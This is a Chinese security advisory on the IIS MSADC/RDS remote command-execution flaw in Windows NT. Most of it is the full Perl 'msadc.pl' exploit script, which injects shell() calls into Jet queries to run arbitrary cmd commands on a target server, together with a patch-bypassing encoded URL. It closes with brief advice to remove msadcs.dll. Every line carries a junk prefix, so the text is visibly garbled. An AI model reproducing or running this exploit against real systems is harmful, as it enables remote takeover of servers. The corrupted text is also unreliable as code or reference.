IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
A I P~A]T zN4OrG 0 涉及程序：
1PkCWRpR Microsoft NT server
+T+@g8S @ ! #e\tx 描述：
Z',!LK! 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
KQdIG9O+6 x%G3 L\ 5 详细：
@p+;iS1} 如果你没有时间读详细内容的话，就删除:
!+T1kMP+l c:\Program Files\Common Files\System\Msadc\msadcs.dll
zH8E,) 有关的安全问题就没有了。
&_ekA44 E ,^#Jw`w^ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
Sjpx G@k | p11 Jt[ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
}{o ! 关于利用ODBC远程漏洞的描述，请参看:
#< im? Ej(J j\ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm UNdD2Fd9 %@/^UE: 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
}SN( ^3N http://www.microsoft.com/security/bulletins/MS99-025faq.asp kmI0V[Y Aw o)a8e 这里不再论述。
Jg6Lr~ !i WSkGVQu 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
nM
)C^$3<t ~GaGDS\V /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
kI{DxuTad 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
)D)5
`n) p\6cpf RpHlq #将下面这段保存为txt文件，然后: "perl -x 文件名"
RgE`H r woYD &Oml #!perl
&1xCPKIr #
}I"C4'(a # MSADC/RDS 'usage' (aka exploit) script
<qCa 9@Ea #
g*| j+ <:7 # by rain.forest.puppy
L[` l80 #
KhCP9(A=Qo # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
]rmBM # beta test and find errors!
h~MV =7
lE ^[L(kHOGzk use Socket; use Getopt::Std;
CT|+? getopts("e:vd:h:XR", \%args);
PxHFH pL 29R-Up!SVN print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
!QUY ( L"L3n,%F if (!defined $args{h} && !defined $args{R}) {
~}/Dl#9R! print qq~
^S9y7b^;r Usage: msadc.pl -h <host> { -d <delay> -X -v }
Qy,^'fSN -h <host> = host you want to scan (ip or domain)
DT1gy:?L -d <seconds> = delay between calls, default 1 second
dj|5' <l2 -X = dump Index Server path table, if available
Gn]36~)*H -v = verbose
,w
}Po -e = external dictionary file for step 5
# k I> o9?@jjqH Or a -R will resume a command session
|Lq8cA)|y $ |4C]Me ( ~; exit;}
=bC
+1
C uFd$*`jS $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
I0=_=aZO ( if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Z5{a7U4z_ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
.J#'k+> if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
bRC243]g*A $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
w-jElV if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
L\yVE
J9x o3ZN0j 69| if (!defined $args{R}){ $ret = &has_msadc;
\?:L>-&h8 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
GnV0~? <J[ le= print "Please type the NT commandline you want to run (cmd /c assumed):\n"
XGlt^< ` . "cmd /c ";
,N/@=As9$ $in=<STDIN>; chomp $in;
k<1yv$/mW $command="cmd /c " . $in ;
,m=F
H?5 |J`EM7qMK if (defined $args{R}) {&load; exit;}
]5W$EvZ9) vccWe7rh print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
wak 26W>I3 &try_btcustmr;
1I Yip\:lS ,RP-)j"Wff print "\nStep 2: Trying to make our own DSN...";
aCQtE, . &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
?0b-fL^^+l MsB >3 print "\nStep 3: Trying known DSNs...";
Re%[t9 F& &known_dsn;
UuG%5 ZC U~
{k_'-i print "\nStep 4: Trying known .mdbs...";
,OZ &known_mdb;
;!yK~OBxt |1tKQ0jg if (defined $args{e}){
3WV( Ok print "\nStep 5: Trying dictionary of DSN names...";
!U`&a=k &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
K2 m>D=w _ %s#Cb print "Sorry Charley...maybe next time?\n";
~{x1/eH exit;
I?KN7(9u? [|\6AIoS ##############################################################################
O5dS$[`j\p Da^q9,| sub sendraw { # ripped and modded from whisker
;qx#]Z0 < sleep($delay); # it's a DoS on the server! At least on mine...
r}U6LE?> my ($pstr)=@_;
P jQl(v&O socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
tzI|vVT, die("Socket problems\n");
1- RY5R}VR if(connect(S,pack "SnA4x8",2,80,$target)){
%V_ XY+o select(S); $|=1;
}"Y<<e<z: print $pstr; my @in=<S>;
p^l#Wq5 select(STDOUT); close(S);
RK# 6JfC3X return @in;
z%&FLdXgW+ } else { die("Can't connect...\n"); }}
cJKnB!iL5 g` EZLDjt ##############################################################################
F)P:lvp<r .5JIQWE( sub make_header { # make the HTTP request
6:1`lsP my $msadc=<<EOT
OjU{r N* POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
vrn4yHoZ User-Agent: ACTIVEDATA
S)CsH1Q Host: $ip
tX*@r Content-Length: $clen
SH*'< Connection: Keep-Alive
31n"w; $-_" SWG. ADCClientVersion:01.06
F`}'^> Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Y A .&ap @kX uC< --!ADM!ROX!YOUR!WORLD!
+'H[4g` Content-Type: application/x-varg
L
K&c~
Uy Content-Length: $reqlen
}gSoBu /Qgb t EOT
r #- ; $msadc=~s/\n/\r\n/g;
2[
s Y?C return $msadc;}
gx\V)8Zr * :"*' ##############################################################################
];.5 *a%* bR`5g sub make_req { # make the RDS request
+ V=<vT my ($switch, $p1, $p2)=@_;
-]EL|_; my $req=""; my $t1, $t2, $query, $dsn;
[*% lm9 x H4Bt.5O* if ($switch==1){ # this is the btcustmr.mdb query
NF$6yv9C $query="Select * from Customers where City=" . make_shell();
D pHubqWz $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
vbJ<|#|r- $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
v }>g* @ mF
gqM: elsif ($switch==2){ # this is general make table query
k?cX f j& $query="create table AZZ (B int, C varchar(10))";
DVQr7 tQf $dsn="$p1";}
? [Yn<| @Y~gdK elsif ($switch==3){ # this is general exploit table query
HB9"T5Pd* $query="select * from AZZ where C=" . make_shell();
t!D' ZLw $dsn="$p1";}
?! ap @)9 9FEhl~& elsif ($switch==4){ # attempt to hork file info from index server
`n+uA ~ $query="select path from scope()";
s$y_(oU,D $dsn="Provider=MSIDXS;";}
<h(AJX7wsD R;"$ PH D elsif ($switch==5){ # bad query
f:j:L79} $query="select";
;&lXgC^* $dsn="$p1";}
_0[z
xOI za>%hZf\ $t1= make_unicode($query);
hyxv+m[ $t2= make_unicode($dsn);
k(f),_ $req = "\x02\x00\x03\x00";
6@aH2+4+ $req.= "\x08\x00" . pack ("S1", length($t1));
IO7z }![V; $req.= "\x00\x00" . $t1 ;
;apLMMsWC $req.= "\x08\x00" . pack ("S1", length($t2));
=K@LEZZ'/< $req.= "\x00\x00" . $t2 ;
mmQC9nZ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
U/c+j{= ~ return $req;}
y^r'4zN' \]Y<d ##############################################################################
s-#@t pyf'_ sub make_shell { # this makes the shell() statement
mI2Gs) SO return "'|shell(\"$command\")|'";}
dC <%D'L* !19T=p/:$ ##############################################################################
{9J| \Zz3 JKKp5 ~_~ sub make_unicode { # quick little function to convert to unicode
*Y1s4FXu2 my ($in)=@_; my $out;
tE>FL for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Wz^;:6F return $out;}
?23 J(;)s bLT X_
R ##############################################################################
Zn1((J7 0MT?}D&TL sub rdo_success { # checks for RDO return success (this is kludge)
<F`9;WX my (@in) = @_; my $base=content_start(@in);
T7YJC,^m if($in[$base]=~/multipart\/mixed/){
tL&_@PD)3 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
!:d\ A return 0;}
qV=O; :~ s"]*y ##############################################################################
DmoY],9I+p -X *.scw sub make_dsn { # this makes a DSN for us
x ~l"'qsK my @drives=("c","d","e","f");
)YCH>Za print "\nMaking DSN: ";
UB ] tKn foreach $drive (@drives) {
~+6#4<M .~ print "$drive: ";
dyqk[$ ( my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
.yzX w8~S "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
d*!H&1L . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
6
y"r ' $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
GDj_+G;tO\ return 0 if $2 eq "404"; # not found/doesn't exist
>yyu:dk-; if($2 eq "200") {
KW0KXO06a foreach $line (@results) {
7 |Qb}[s return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
`,
| l } return 0;}
yokZ>+jb Vg (p_k45` ##############################################################################
bz&9]% S< Ty 6 XU! sub verify_exists {
EZ Q!~ my ($page)=@_;
uxrNkZia my @results=sendraw("GET $page HTTP/1.0\n\n");
_#<l -R` return $results[0];}
Q<osYO{l yYC\a7Al4 ##############################################################################
}WQ:Rmi X7aj/:fXe sub try_btcustmr {
3,+Us B% my @drives=("c","d","e","f");
=0@ o(#gM my @dirs=("winnt","winnt35","winnt351","win","windows");
c1]\.s a(U/70j foreach $dir (@dirs) {
XF4NR s print "$dir -> "; # fun status so you can see progress
a 0FU[*q foreach $drive (@drives) {
5o|u!#6 print "$drive: "; # ditto
WsM/- P1Y $reqlen=length( make_req(1,$drive,$dir) ) - 28;
gn 9CZ $reqlenlen=length( "$reqlen" );
`Q^Vm3h $clen= 206 + $reqlenlen + $reqlen;
t/"9LMKs? Yh % my @results=sendraw(make_header() . make_req(1,$drive,$dir));
is- {U? - if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
9/\=6v C| else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
!hPe*pPVV) Bsz;GnD|r ##############################################################################
"jl`FAu)q c_2kHT
sub odbc_error {
iu,Bmf^oD my (@in)=@_; my $base;
LZ9IE>sj my $base = content_start(@in);
E }w<-] 8 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Lop=._W $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
#KSB% $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\=g%W^i $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
* r3u=oWb return $in[$base+4].$in[$base+5].$in[$base+6];}
@l2AL9z$m> print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
jd DcmR print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
t#J
#DyY5 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
j#XU\G b+}*@xhl ##############################################################################
Q ?W 6 yYTiAvN sub verbose {
T1b9Zqc)f my ($in)=@_;
ph1veD<ZZ return if !$verbose;
_^ @}LVv+E print STDOUT "\n$in\n";}
4a~9?}V : hAZ"M:f ##############################################################################
&" svt2 dQFx] p3L sub save {
hMx/}Tw wt my ($p1, $p2, $p3, $p4)=@_;
- r82'3] open(OUT, ">rds.save") || print "Problem saving parameters...\n";
e{9(9qE" print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
}F R yG% close OUT;}
V# 6`PD6 o' DXd[y ##############################################################################
Z-j%``I?h \bb,gRfP sub load {
,G,T&W my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Lp/]iZ @ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
$NWI_F4 @p=<IN>; close(IN);
V9m1n=r $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
jKu"Vi|j> $target= inet_aton($ip) || die("inet_aton problems");
j:,* Liz print "Resuming to $ip ...";
\9BIRY ` $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
nyPA`)5F0 if($p[1]==1) {
B: uW(E
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
ZD0 Q<8% $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
zi y~~J my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
R16" lG if (rdo_success(@results)){print "Success!\n";}
?
B^*YCo7( else { print "failed\n"; verbose(odbc_error(@results));}}
g;bkV q elsif ($p[1]==3){
1}!f.cWV( if(run_query("$p[3]")){
s 4}}MV3X print "Success!\n";} else { print "failed\n"; }}
M ~!*PCd5 elsif ($p[1]==4){
Ph.$]yQCc] if(run_query($drvst . "$p[3]")){
n4CzReG print "Success!\n"; } else { print "failed\n"; }}
4aZsz,= exit;}
x<=+RYz#^: obX|8hTL% ##############################################################################
2Sb~tTGz79 P*(lc: sub create_table {
f=J#mmH w$ my ($in)=@_;
m nXaf)" $reqlen=length( make_req(2,$in,"") ) - 28;
)r1Z}X(#d $reqlenlen=length( "$reqlen" );
K#";! $clen= 206 + $reqlenlen + $reqlen;
Ef$x um{ my @results=sendraw(make_header() . make_req(2,$in,""));
.'7o,)pJ< return 1 if rdo_success(@results);
JCaT^KLz my $temp= odbc_error(@results); verbose($temp);
Q.6pmaXrb return 1 if $temp=~/Table 'AZZ' already exists/;
?^IM2}(p return 0;}
g >- iBxml F=^vu7rf ##############################################################################
O*yc8fUI OBN]bvCJ sub known_dsn {
[N#2uo # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
C2eei're my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
KY"W{D9ib "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
-\>Bphu,y "banner", "banners", "ads", "ADCDemo", "ADCTest");
)X| uOg&| 0V srAV0 foreach $dSn (@dsns) {
uu =e~K print ".";
bUz7 !M$ next if (!is_access("DSN=$dSn"));
&sWq SS if(create_table("DSN=$dSn")){
D
7H$!(F> print "$dSn successful\n";
XRj<2U 5 if(run_query("DSN=$dSn")){
d%4!d_I < print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
<(@m913| print "Something's borked. Use verbose next time\n";}}} print "\n";}
}L@!TWR-Qu nKkI ##############################################################################
@ou g^]a |{Z?a^- NJ sub is_access {
7kt f =Y my ($in)=@_;
pt|u?T_+ $reqlen=length( make_req(5,$in,"") ) - 28;
= ?T'@C $reqlenlen=length( "$reqlen" );
)>$xbo")k $clen= 206 + $reqlenlen + $reqlen;
eSywWSdf0 my @results=sendraw(make_header() . make_req(5,$in,""));
!>;p^^e my $temp= odbc_error(@results);
Al'
sY^B verbose($temp); return 1 if ($temp=~/Microsoft Access/);
IM)\-O\Wd return 0;}
:)?w 2'O V w HTtZ ##############################################################################
$0sU h]7y q}tLOVu1 sub run_query {
+:wOzTUN my ($in)=@_;
Z]":xl\7 $reqlen=length( make_req(3,$in,"") ) - 28;
x"5/1b3aq $reqlenlen=length( "$reqlen" );
I6'U[)% $clen= 206 + $reqlenlen + $reqlen;
Nm:nSqc my @results=sendraw(make_header() . make_req(3,$in,""));
, S}[ 48$ return 1 if rdo_success(@results);
*w59BO&M4 my $temp= odbc_error(@results); verbose($temp);
~ %k<N/B return 0;}
VL&E 2^*E ^cDHyB=v4d ##############################################################################
!YsL x[+ $
;~G sub known_mdb {
.P9ALJP(b my @drives=("c","d","e","f","g");
#: w/vk my @dirs=("winnt","winnt35","winnt351","win","windows");
%{5mkO&,2 my $dir, $drive, $mdb;
Pc`d@q my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
RAR"9 N
. D%Hz'G0| # this is sparse, because I don't know of many
Fla,#uB my @sysmdbs=( "\\catroot\\icatalog.mdb",
+JB. EW/ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
X'IW &^kI "\\system32\\certmdb.mdb",
eP a1 @dI "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
7?qRY9Qu 2W~,,$
G my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
&M*&oi ( "\\cfusion\\cfapps\\forums\\forums_.mdb",
}.$oZo9J "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
T`Sp! "\\cfusion\\cfapps\\security\\realm_.mdb",
Q: [d "\\cfusion\\cfapps\\security\\data\\realm.mdb",
S e%FqI "\\cfusion\\database\\cfexamples.mdb",
.&T JSIx$ "\\cfusion\\database\\cfsnippets.mdb",
b-@6w(j "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
2N9
BI-a "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
LwZBM#_g "\\cfusion\\brighttiger\\database\\cleam.mdb",
# |
`W ] "\\cfusion\\database\\smpolicy.mdb",
2d >kc2=* "\\cfusion\\database\cypress.mdb",
8tK 8|t5+ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
c_)vWU "\\website\\cgi-win\\dbsample.mdb",
Ma0_!|i "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
' {@hBB+ D "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
|)} F}~& ); #these are just
!O-q13\Y foreach $drive (@drives) {
/iQ}DbtRb foreach $dir (@dirs){
r3mB"("Z' foreach $mdb (@sysmdbs) {
Hz`rw\\Xq print ".";
jW}n6w5 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
@f{yx\u/ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Vrf2%$g if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
,]w -!I print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
@sO*O4os> } else { print "Something's borked. Use verbose next time\n"; }}}}}
8 *;G\$+ gEcVQPD@ foreach $drive (@drives) {
7v}4 Pl,$4 foreach $mdb (@mdbs) {
is}o5\JEL print ".";
{:$0j|zL1 if(create_table($drv . $drive . $dir . $mdb)){
|Vs|&0 print "\n" . $drive . $dir . $mdb . " successful\n";
{6!Mf+ Xq if(run_query($drv . $drive . $dir . $mdb)){
Uq 2Uv print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Oj:O-PtN2 } else { print "Something's borked. Use verbose next time\n"; }}}}
5r.\maW }
LDN'o1$qo !bFa\6]q ##############################################################################
VHsu C$3W E
j@M\ sub hork_idx {
YES! ?^} print "\nAttempting to dump Index Server tables...\n";
c|x:]W'ij print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
.^ N+ 'g $reqlen=length( make_req(4,"","") ) - 28;
/7De .O~H $reqlenlen=length( "$reqlen" );
e,>L&9] ZI $clen= 206 + $reqlenlen + $reqlen;
N+rLbK* my @results=sendraw2(make_header() . make_req(4,"",""));
[ -bL>8 if (rdo_success(@results)){
M@UkXA} my $max=@results; my $c; my %d;
|j&u2DM~#m for($c=19; $c<$max; $c++){
BP6;dF5 E $results[$c]=~s/\x00//g;
M. 1R]x( | $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
O?L _9L* $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
ZalG/PFy $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
e<dFvMO $d{"$1$2"}="";}
i >Hh_q;' foreach $c (keys %d){ print "$c\n"; }
~j" aJ / } else {print "Index server doesn't seem to be installed.\n"; }}
;XSRG*3j~4 >^ 0JlL`XG ##############################################################################
zh2$U
dZ|M Jg/l<4,K, sub dsn_dict {
8K*X]Z h open(IN, "<$args{e}") || die("Can't open external dictionary\n");
3Zs|arde2 while(<IN>){
Na=9 ju $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
wxB ?} next if (!is_access("DSN=$dSn"));
8s-RNA>7^ if(create_table("DSN=$dSn")){
T/p}Us print "$dSn successful\n";
.qi$X!0 if(run_query("DSN=$dSn")){
Y iB]}/ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
f/H rO6~k% print "Something's borked. Use verbose next time\n";}}}
c!T^ JZBb print "\n"; close(IN);}
St-:+=V_ L^yQb4$&M ##############################################################################
cE nkt= E
` Ualai sub sendraw2 { # ripped and modded from whisker
!p >a ,8w sleep($delay); # it's a DoS on the server! At least on mine...
^LaI{UDw%h my ($pstr)=@_;
#R4Mv(BG socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
3hab51J die("Socket problems\n");
#`RY KQwB if(connect(S,pack "SnA4x8",2,80,$target)){
jy(,^B,] print "Connected. Getting data";
J5)e 7 open(OUT,">raw.out"); my @in;
vC E$)z'" select(S); $|=1; print $pstr;
+"Ih'bb`j while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Qh%/{6(u close(OUT); select(STDOUT); close(S); return @in;
%E?:9. :NJ } else { die("Can't connect...\n"); }}
Jy@cMq2 fO [X<|9 ##############################################################################
#x1AZwC 0bQaXxt|p sub content_start { # this will take in the server headers
gn1`ZYg my (@in)=@_; my $c;
Ziu f<X{ for ($c=1;$c<500;$c++) {
_s><>LH~ if($in[$c] =~/^\x0d\x0a/){
*=ftg& if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
MVg`6& oH else { return $c+1; }}}
t>7t4>X return -1;} # it should never get here actually
7Ro7/PT ( I+D`\OSL ##############################################################################
t;Jt+k~ z{d] ,M sub funky {
bv;&oc:r my (@in)=@_; my $error=odbc_error(@in);
QtJe){(z+ if($error=~/ADO could not find the specified provider/){
auAST;"Z8 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Ictc '#y exit;}
a({qc0+UK if($error=~/A Handler is required/){
r /HKxXT print "\nServer has custom handler filters (they most likely are patched)\n";
0t}=F 4@&a exit;}
< Xm5re. if($error=~/specified Handler has denied Access/){
]/p0j$Tq$ print "\nServer has custom handler filters (they most likely are patched)\n";
VXQS~#dQj exit;}}
ioi0^aM Ox?LVRvxI ##############################################################################
THJ KuWy ZB:Fjq sub has_msadc {
EhEn|%S my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
M~I M;my my $base=content_start(@results);
LnZ*,>1 Z return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
>r{3t{ return 0;}
z~4L=tA( CWE
jX- ########################
$^I uE0. *0 i |4-c/@D.~ 解决方案：
$ 8_t.~q 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
fdh o`juFa 2、移除web 目录: /msadc
